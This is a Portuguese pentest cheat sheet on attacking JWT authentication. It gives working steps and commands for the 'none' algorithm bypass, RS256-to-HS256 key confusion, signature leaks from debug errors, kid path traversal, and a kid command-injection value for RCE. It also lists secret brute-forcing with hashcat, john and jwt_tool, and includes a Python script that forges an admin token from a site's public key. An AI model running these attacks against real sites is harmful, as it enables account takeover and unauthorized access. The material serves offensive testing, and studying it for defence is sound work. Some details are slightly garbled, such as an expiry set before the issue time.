JWT
Estrutura
O JWT (JSON Web Token) é divido em 3 partes, separadas por um .
(ponto). A primeira parte é o Header
(configurações do JWT), a segunda parte é o Payload
(infomações particulares do usuário) e o último é a Assignature
(chave de acesso). Tanto o Header, quanto o Payload podem ser descriptografados e manipulados, pois estão em base64
.
No Header, geralmente vamos temos ter uma configuração do tipo {"alg":"HS256","typ":"JWT"}
, onde podemos selecionar o tipo de algorítmo, como HS256
(chave secreta para assinar e verificar cada mensagem) ou RS256
(usa a chave privada para assinar a mensagem e a chave pública para autenticação). Como a chave pública às vezes pode ser obtida pelo invasor, ele pode modificar o algorítmo no cabeçalho para HS256 e, em seguida, usar a chave pública RSA para assinar os dados. O código de back-end usa a chave pública RSA + algorítmo HS256 para verificação de assinatura.
Na segunda parte (payload) contém informações do user, como login, groups, etc. Também vemos alguns valores não obrigatórios, mostrados abaixo:
INDEX
DESCRIÇÃO
sub
(subject)
Entidade à quem o token pertence, normalmente o ID do usuário
iss
(issuer)
Emissor do token
exp
(expiration)
Timestamp de quando o token irá expirar
iat
(issued at)
Timestamp de quando o token foi criado
nbf (Not Before)
Identifica o tempo antes do qual o token não deve ser aceito para processamento
aud
(audience)
Destinatário do token, representa a aplicação que irá usá-lo
A última parte (assignature) é feita com o seguinte padrão (exemplo feito em Python):
key = 's3cr3tk3y'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
Gerando Chave Privada e Pública
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
Manipulando Token
Isso irá alterar os valores em tempo real.
python3 jwt_tool.py -T "<token>"
JsonWebTokenError (Modo Debug Ativo)
Nada melhor do que procurar dados sensíveis em um dos princípios básicos da segurança: Mensagens de erro ou debug!!
No caso do JWT é até melhor do que isso, pois podemos ter na resposta do erro, a assinatura (última parte do token). E o melhor de tudo, para fazer isso basta enviar um token inválido. Mas não envie um abcd
da vida no token, mas sim um token inválido que tenha pelo menos a estrutura de um token válido, por exemplo, podemos pegar um token válido e alterar o payload.
Provavelmente ao enviar o token manipulado, a aplicação irá nos retornar uma mensagem como no exemplo abaixo, então basta pegar o hash desse resultado (em negrito), colocar na última parte do token (assinatura) e enviar novamente ao endpoint.
JsonWebTokenError: Invalid Signature. Expected
cASN_7WEv-nr_Z7XZFT0hVGOFPeeo7Qlvp7-QrZtdw4
got 7zobEz6bncpk7OjQpTfvh-a3ElW1HK3L4Wyypgxa_dw
None Algorithms
Pegue o token JWT, divida-o em 3 partes separadas por pontos (<header>.<payload>.<assignature>
). Faça um base64 decode da primeira parte e altere o valor de alg
para None
. Agora na segunda parte, manipule algum valor do user, por exemplo, podemos mudar o tipo do user para um perfil de administrador ou até mesmo ter acesso ao usuário admin (alterando o username/login). A última parte é a assinatura, então não iremos mexer em nada.
DICA: Já presenciei alguns valores diferente do alg
dando certo de maneiras diferentes e em diferentes lugares, então tente algumas variantes, como None
, none
, "None"
e "none"
.
Feito isso, codifique essas duas partes em base64 e monte o token novamente, utilizando o .
(ponto) para dividir as 3 partes. Como o alg
foi definido como None
, então não precisa colocar a última parte do token, ficando assim no seguinte padrão: <header>.<payload>.
(Deixe o ponto no final). Agora coloque o token no header e veja se o resultado.
NOTA: Ao fazer um base64 decode, pode ser que o json não fiquei no seu formato correto (geralmente faltando um }
no final). Arrume isso colocando um sinal de =
no final do encode original, mas não use-o no Request Header.
TokenBreaker
Tudo o que vimos como fazer um ataque None Algorithms de forma manual, vamos utilizar uma ferramenta para automatizar o processo.
python3 TheNone.py -t <token>
Convertendo RSA para HMAC
Podemos modificar o header para ler um HMAC (HS256) ao invés de RSA (RS256). Porém, para realizarmos essa operação, precisamos ter um rsa public key
em mãos, ou caso contrário, não irá ter êxito. O RsaToMac.py
faz parte do pacote TokenBreaker
.
python3 RsaToHmac.py -t <token> -p <publickey.crt>
KID (Key ID)
Em alguns casos (principalmente nas aplicações mais modernas do JWT), vemos o campo kid
(Key ID) no header, seguido de um hash. O servidor usa isso para evitar que alguém possar alterar os valores do header. Mas como nada é perfeito, veremos que o kid
também possui falhas.
Podemos utilizar um token de outro usuário, alterando o valor do kid
para ../../../../../../../../../../dev/null
, e utilizando a key (para gerar o token com valor vazio). Feito isso, basta alterar no payload as devidas informações para utilziar a conta de outro usuário.
Também podemos citar a CVE-2017-17405 que surgiu a partir do kid
, onde podemos conseguir um RCE, aproveitando de uma falha escrita em Ruby. Para isso, precisamos apenas trocar o valor do kid
para |<comando>
.
jwt_tool
python3 jwt_tool.py <token> -I -hc kid -hv "../../../../../../../dev/null" -S hs256 -p ""
Brute Force
jwtcat
Utilizando incremental
python3 jwtcat.py brute-force --increment-min 6 --increment-max 6 "<token>"
Utilizando wordlist
python3 jwtcat.py wordlist -w <wordlist> <token>
jwt_tool
Selecione a opção 7 depois de executar o comando abaixo:
python3 jwt_tool.py -d <wordlist.txt> <token>
c-jwt-cracker
Brute force em uma senha que possui somente 6 dígitos:
./jwtcrack <token> 1234567890 6
jwt-pwn
python jwt-cracker.py -w <wordlist.txt> -jwt <token>
jwtcrack
python3 crackjwt.py <token> <wordlist.txt>
Hashcat
hashcat <hash.txt> <wordlist.txt> -m 16500 -a 3 -w 3
John the Ripper
john <token.txt> --wordlist=<wordlist.txt> --format=HMAC-SHA256
Forjando JWT com Certificado Digital
Primeiro vamos extrair o certificado (https), que pode ser pêgo através do navegador web, ou utilizando o comando abaixo e verificando sua saída.
openssl s_client -connect <site.com>:443
Agora devemos extrair a nossa chave pública a partir do certificado que acabamos de capturar.
openssl x509 -pubkey -noout -in <certificado.crt> > publickey.pem
Abaixo está um script desenvolvido em python para gerar um novo token JWT válido a partir da chave pública gerada. Não se esqueça de alterar o valor da variável encoded_payload
no código abaixo.
import jwt
key = open("publickey.pem").read()
encoded_payload = jwt.encode(
{
"id": 1,
"iat": 1571250692,
"exp": 1571237092,
"username": "administator"
},
key,
algorithm='HS256'
)
print "Forged Token: %s" % (encoded_payload)
Por fim, execute o script para ter um JWT válido em mãos
python <xpl.py>
Buscando por Diversas Vulnerabilidades
jwt tools
python3 jwt_tool.py -M at -t "https://site.com" -rh "Authorization: Bearer <token>"
jwtcat
python3 jwtcat.py vulnerable <token>
Sites
# Validação de tokens
https://jwt.io/
# Tools
https://github.com/Goron/TokenBreaker
https://github.com/AresS31/jwtcat
https://github.com/ticarpi/jwt_tool
https://github.com/Sjord/jwtcrack
https://github.com/brendan-rius/c-jwt-cracker
https://github.com/mazen160/jwt-pwn
# Explicação sobre como funciona o JWT
https://tools.ietf.org/html/rfc7515
# Tutoriais sobre ataques contra JWT
https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
https://medium.com/trainingcenter/jwt-usando-tokens-para-comunica%C3%A7%C3%A3o-eficiente-cf0551c0dd99
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
Last updated
Was this helpful?